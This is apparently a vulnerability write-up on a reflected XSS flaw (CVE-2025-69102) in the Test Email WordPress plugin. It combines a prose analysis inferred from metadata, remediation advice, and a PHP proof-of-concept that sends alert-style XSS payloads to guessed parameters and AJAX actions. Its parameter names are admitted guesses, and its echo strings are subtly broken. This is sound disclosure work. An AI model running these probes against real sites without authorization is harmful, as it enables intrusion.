Atomic Edge analysis of CVE-2025-69102 (metadata-based):
The Test Email WordPress plugin contains a reflected cross-site scripting vulnerability in versions up to and including 1.1.7. This vulnerability allows unauthenticated attackers to inject malicious JavaScript via insufficiently sanitized input parameters. The CVSS score of 6.1 indicates medium severity with potential for client-side code execution in victim browsers.
Atomic Edge research identifies the root cause as improper neutralization of user input during web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping. Without source code access, we infer the plugin likely echoes user-controlled parameters directly into HTML responses without proper escaping functions like `esc_html()` or `esc_attr()`. This inference aligns with common WordPress plugin patterns where admin interface parameters are reflected without validation.
Exploitation requires an attacker to craft a malicious URL containing JavaScript payloads in vulnerable parameters. Victims must click the crafted link while authenticated to WordPress. The attack vector likely targets admin-facing endpoints, possibly the plugin’s email testing interface. A realistic payload would be `alert(document.domain)` or similar JavaScript in parameters like `email`, `subject`, or `message`. The plugin slug ‘wp-test-email’ suggests AJAX handlers or admin pages at `/wp-admin/admin.php?page=wp-test-email`.
Remediation requires implementing proper output escaping for all user-controlled data. WordPress provides functions like `esc_html()`, `esc_attr()`, and `wp_kses()` for different contexts. The plugin should escape data at the point of output, not just during input validation. Input validation should also be strengthened using `sanitize_email()` and `sanitize_text_field()` where appropriate.
Successful exploitation enables attackers to execute arbitrary JavaScript in the victim’s browser session. This can lead to session hijacking, administrative actions performed without consent, or data theft from the WordPress dashboard. The reflected nature requires user interaction, but the attack works against any WordPress user who clicks the malicious link while logged in.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69102 - Test Email <= 1.1.7 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-69102
* Assumptions based on metadata analysis:
* 1. The plugin has an admin page accessible at /wp-admin/admin.php?page=wp-test-email
* 2. The vulnerability exists in GET or POST parameters reflected without escaping
* 3. No authentication is required to trigger the XSS payload
* 4. The 'test_email' parameter is a likely candidate based on plugin functionality
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php';
// Common XSS payloads for testing
$payloads = [
'<script>alert(document.domain)</script>',
'"><img src=x onerror=alert(1)>',
'javascript:alert(1)'
];
// Likely vulnerable parameters based on plugin functionality
$parameters = ['test_email', 'email', 'subject', 'message', 'to'];
foreach ($parameters as $param) {
foreach ($payloads as $payload) {
$url = $target_url . '?page=wp-test-email&' . $param . '=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC Scanner');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200) {
// Check if payload appears in response without proper escaping
if (strpos($response, $payload) !== false) {
echo "[+] Potential XSS found in parameter: $paramn";
echo " Payload: $payloadn";
echo " URL: $urlnn";
}
}
curl_close($ch);
usleep(100000); // 100ms delay between requests
}
}
// Also test AJAX endpoint if admin page doesn't trigger vulnerability
$ajax_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$ajax_params = ['action=wp_test_email_action', 'action=test_email_action', 'action=send_test_email'];
foreach ($ajax_params as $action_param) {
foreach ($payloads as $payload) {
$post_data = $action_param . '&test_param=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
if (strpos($response, $payload) !== false) {
echo "[+] Potential XSS in AJAX endpointn";
echo " Action: $action_paramn";
echo " Payload: $payloadnn";
}
curl_close($ch);
usleep(100000);
}
}
?>
